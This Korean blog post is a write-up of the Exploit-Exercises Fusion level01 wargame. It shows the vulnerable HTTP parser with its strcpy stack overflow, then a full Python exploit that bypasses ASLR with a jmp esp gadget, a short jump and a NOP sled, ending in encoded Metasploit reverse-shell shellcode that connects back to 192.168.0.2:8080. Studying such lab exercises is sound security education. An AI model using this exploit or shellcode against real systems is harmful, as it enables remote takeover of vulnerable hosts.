상세 컨텐츠

본문 제목

Exploit-Exercise Fusion level01

0x10 정보보안/0x15 System

by sweetchip 2013. 6. 4. 19:30

본문

반응형

20001 포트로 운영되는 프로그램과 소스가 주어졌다.





소스는 level00 과 같은 소스이며 다른점은 ASLR 이 적용되어있다는 것이다.


하지만 NX가 걸려있지 않아 다행히 아직까진 삽질이 불필요해 보인다.


1#include "../common/common.c"  
 2
 3int fix_path(char *path)
 4{
 5  char resolved[128];
 6  
 7  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
 8  strcpy(path, resolved); / BOMB!
 9}
10
11char *parse_http_request()
12{
13  char buffer[1024];
14  char *path;
15  char *q;
16
17  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D
18
19  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
20  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
21
22  path = &buffer[4];
23  q = strchr(path, ' ');
24  if(! q) errx(0, "No protocol version specified");
25  *q++ = 0;
26  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
27
28  fix_path(path);
29
30  printf("trying to access %s\n", path);
31
32  return path;
33}
34
35int main(int argc, char **argv, char **envp)
36{
37  int fd;
38  char *p;
39
40  background_process(NAME, UID, GID);  
41  fd = serve_forever(PORT);
42  set_io(fd);
43
44  parse_http_request();   

45}



역시나 지난번 취약점과 같다. strcpy는 어디서나 문제다.. ㅠㅠ


aslr이 걸려있어서 지난번 문제보다는 화나지만 그래도 NX가 안걸려 있는게 어디인가..!!


문제는 완전히 지난번 문제와 같으니 오프셋도 같게 하지만 ASLR 때문에 전에 나오던 스택포인터는 쓸모 없게 되엇다.


그러므로 jmp esp 가젯을 사용해서 쉘코드를 향하도록 만들것이다.





from struct import * from socket import * # linux/x86/shell_reverse_tcp - 95 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LHOST=192.168.0.2, LPORT=8080, shellcode = ("\xd9\xc0\xbe\x7c\x4a\xda\x79\xd9\x74\x24\xf4\x5f\x31\xc9" "\xb1\x12\x31\x77\x17\x03\x77\x17\x83\x93\xb6\x38\x8c\x5a" "\x9c\x4a\x8c\xcf\x61\xe6\x39\xed\xec\xe9\x0e\x97\x23\x69" "\xfd\x0e\x0c\x55\xcf\x30\x25\xd3\x36\x58\x76\x8b\xc9\x9a" "\x1e\xce\xc9\x85\x4e\x47\x28\x09\x08\x08\xfa\x3a\x66\xab" "\x75\x5d\x45\x2c\xd7\xf5\x79\x02\xab\x6d\xee\x73\x29\x04" "\x80\x02\x4e\x84\x0f\x9c\x70\x98\xbb\x53\xf2") ################################################################### Host = '192.168.0.38' Port = 20001 ################################################################### p = lambda x : pack('<L',x) s = socket(AF_INET, SOCK_STREAM) s.connect((Host,Port)) #print "[!] Server : " + s.recv(1024) print "[*] Sending Exploit code...." exploit = "" exploit += "GET " exploit += "\x90" * 139 exploit += p(0x08049f4f) #jmp esp exploit += p(0x909030eb) #short jmp 0x30 exploit += " HTTP/1.1" exploit += "\x90" * 100 exploit += shellcode s.send(exploit) s.close() print "[*] Close Connection."


페이로드를 복사하면서 EIP를 덮어 씌울것이고 변조된 EIP에 의해 ESP 포인터로 이동된 다음


미리 넣어둔 short jmp 에의해 0x30만큼 점프를 하게 되서 HTTP/1.1 을 넘어가게 되고 NopSled 를 만나게 되고


썰매를 쭈욱 타고 흘러가다가 쉘코드를 만나게 된다.




썰매를 잘 탔나보다.


Exploit에 성공하고 쉘을 획득했다.


반응형

관련글 더보기